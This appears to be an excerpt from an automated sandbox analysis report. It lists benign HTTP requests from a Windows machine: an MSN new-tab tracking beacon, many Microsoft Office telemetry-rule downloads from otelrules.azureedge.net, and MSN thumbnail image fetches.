Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730181570259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bfe00f3163ab4b7d893198e3cbe5ca88&activityId=bfe00f3163ab4b7d893198e3cbe5ca88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=80EA2B33978444B08900C350AC4F446D&MUID=082392D97AE764340DA987FE7BEF6550 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1; msnup=; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
